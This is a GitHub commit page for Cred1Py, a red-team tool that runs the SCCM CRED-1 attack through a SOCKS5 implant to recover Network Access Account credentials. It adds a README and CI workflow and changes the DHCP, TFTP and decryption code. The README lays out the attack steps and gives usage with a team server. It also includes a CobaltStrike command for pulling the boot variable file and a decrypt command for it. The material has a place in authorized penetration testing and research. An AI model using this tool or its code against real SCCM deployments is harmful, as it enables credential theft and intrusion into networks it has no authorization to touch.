Skip to content

Commit

Permalink
Added README
Browse files Browse the repository at this point in the history
  • Loading branch information
xpn committed Sep 4, 2024
1 parent a57ae8c commit 2aa25a6
Show file tree
Hide file tree
Showing 5 changed files with 108 additions and 39 deletions.
25 changes: 25 additions & 0 deletions .github/workflows/test.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
name: Python Test

on: [push]

jobs:
build:
runs-on: ubuntu-latest

steps:
- uses: actions/checkout@v4

- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.x'

- name: Install dependencies
run: |
python -m pip install --upgrade pip
pip install -r requirements.txt
- name: Test with pytest
run: |
pip install pytest pytest-mock
pytest
71 changes: 71 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
## Overview

This is a tool used to exploit CRED-1 over a SOCKS5 connection (with UDP support).

## How CRED-1 Works

CRED-1 can be broken down into the following steps:

1. Send a DHCP Request for the PXE image over UDP 4011
2. SCCM responds with image path and crypto keys to decrypt the referenced variables file

At this stage, two files are downloaded over TFTP:

1.
2.

Next CRED-1 takes the crypto keys also returned in the DHCP response, and takes one of two paths depending on the content:

1. If the crypto key is provided, password based encryption is disabled, and therefore a key derivation function is run to produce an AES key to decrypt the variables file

OR

2. If no crypto key is provided, password based encryption is enabled, and a HashCat ouotput is produced from the variables file to allow us to recover the encryption key

Once the key has been recovered (or provided), the variable file can be decrypted and the contents can be used to retrieve Network Access Account username/password.

## Usage

To use Cred1Py:

```
python ./main.py <target> <src_ip> <socks_host> <socks_port>
```

Target - The SCCM PXE server IP
SRC_IP - The IP address of the host we are running the implant on
SOCKS_HOST - The IP of the team server running SOCKS5
SOCKS_PORT - The SOCKS5 port

## How Cred1Py Works

Cred1Py attempts to perform this flow over a SOCKS5 connection, due to UDP support being provided as part of the SOCKS5 specification.

There are a few differences to tools like PxeThief as SOCKS5 limits our ability to retrieve TFTP files (we can't determine the source port used during the data transfer).

This means that the requirements for Cred1Py are:

1. An implant executing with SOCKS5 enabled
2. Ability to make a SMB connection to a distribution server (this replaces the TFTP component of PxeThief)

Once the requirements are met, Cred1Py:

1. Sends a DHCP Request for the PXE image and crypto key
2. Retrieves the crypto keying material
3. Downloads the first 512 bytes of the variables file (possible as this is sent by TFTP server without establishing a TID which needs source port)
4. Outputs either a crypto key, or a hashcat hash, as well as the path to the boot variable file returned via DHCP

At this point, we will need to use our C2 to download the boot variable file, for example in CobaltStrike we can use:

```
download \\sccmserver.lab.local\REMINST\SMSTemp\BootFileName.boot.var
```

We then use PxeThiefy to decrypt the `boot.var` file with our recovered key:

```
python ./pxethiefy.py decrypt -f /tmp/out.boot.var PASSWORD_HERE
```



33 changes: 2 additions & 31 deletions lib/sccm.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@
from Crypto.Cipher import AES,DES3

## A lot of code here is taken from pxethiefy.py (we're just wrapping in SOCKS5), with thanks to the author!
## https://github.com/csandker/pxethiefy/blob/main/pxethiefy.py

class SCCM:
def __init__(self, target, port, socks_client):
Expand All @@ -16,7 +17,6 @@ def __init__(self, target, port, socks_client):
self.socks_client = socks_client

def _craft_packet(self, client_ip, client_mac):
# Taken from pxethiefy.py
pkt = BOOTP(ciaddr=client_ip,chaddr=client_mac)/DHCP(options=[
("message-type","request"),
('param_req_list',[3, 1, 60, 128, 129, 130, 131, 132, 133, 134, 135]),
Expand All @@ -29,7 +29,6 @@ def _craft_packet(self, client_ip, client_mac):

return pkt

# Taken from pxethiefy.py with thanks!
def _extract_boot_files(self, variables_file, dhcp_options):
bcd_file, encrypted_key = (None, None)
if variables_file:
Expand Down Expand Up @@ -58,41 +57,13 @@ def _extract_boot_files(self, variables_file, dhcp_options):
variables_file = variables_file.decode('utf-8')
bcd_file = next(opt[1] for opt in dhcp_options if isinstance(opt, tuple) and opt[0] == 252).rstrip(b"\0").decode("utf-8") # DHCP option 252 is used by SCCM to send the BCD file location
else:
print("No variable file location (DHCP option 243) found in the received packet when the PXE boot server was prompted for a download location", MSG_TYPE_ERROR)
print("[!] No variable file location (DHCP option 243) found in the received packet when the PXE boot server was prompted for a download location", MSG_TYPE_ERROR)

return [variables_file,bcd_file,encrypted_key]

def read_media_variable_file(self, filedata):
return filedata[24:-8]

def decrypt_media_file(self, data, password):
password_is_string = True
#print("[+] Media variables file to decrypt: " + path)
if type(password) == str:
password_is_string = True
print("[+] Password provided: " + password)
else:
password_is_string = False
print("[+] Password bytes provided: 0x" + password.hex())

# Decrypt encryted media variables file
encrypted_file = self.read_media_variable_file(data)
try:
if password_is_string:
key = self.aes_des_key_derivation(password.encode("utf-16-le"))
else:
key = self.aes_des_key_derivation(password)
last_16 = math.floor(len(encrypted_file)/16)*16
decrypted_media_file = self.aes128_decrypt(encrypted_file[:last_16],key[:16])
decrypted_media_file = decrypted_media_file[:decrypted_media_file.rfind('\x00')]
wf_decrypted_ts = "".join(c for c in decrypted_media_file if c.isprintable())
print("Successfully decrypted media variables file with the provided password!")
except:
print("Failed to decrypt media variables file. Check the password provided is correct")
return None

return wf_decrypted_ts

def aes128_decrypt(self,data,key):
aes128 = AES.new(key, AES.MODE_CBC, b"\x00"*16)
decrypted = aes128.decrypt(data)
Expand Down
16 changes: 9 additions & 7 deletions lib/tftp.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,26 +13,28 @@ def get_file(self, filename):

(opcode, block) = struct.unpack(">HH", data[:4])
if opcode != 3:
print("Invalid opcode")
print("[!] Invalid opcode from TFTP server")
return

filedata = b''

# Iterate through data blocks
while True:
print(f"Block: {block}")
self.socks_client.send(b'\x00\x04' + block.to_bytes(2, 'big'), (self.target, self.port))
data = self.socks_client.recv(9076)
(opcode, block) = struct.unpack(">HH", data[:4])

if opcode != 3:
print("Invalid opcode")
print("[!] Invalid opcode from TFTP server")
return None

filedata += data[4:]

if len(data) <= 516:
# End of file
return filedata
# No point carrying on as we can't ack the request, so just return the first 516 bytes
return filedata

# if len(data) <= 516:
# # End of file
# return filedata

return filedata
#return filedata
2 changes: 1 addition & 1 deletion tests/test_socks.py
Original file line number Diff line number Diff line change
Expand Up @@ -50,5 +50,5 @@ def test_connect_error_auth_required(mocker):
client.connect()
assert False
except socks.SOCKS5ClientException as e:
assert str(e) == "Error connecting to proxy: Proxy requires authentication"
assert str(e) == "Error connecting to proxy: Proxy requires authentication"

0 comments on commit 2aa25a6

Please sign in to comment.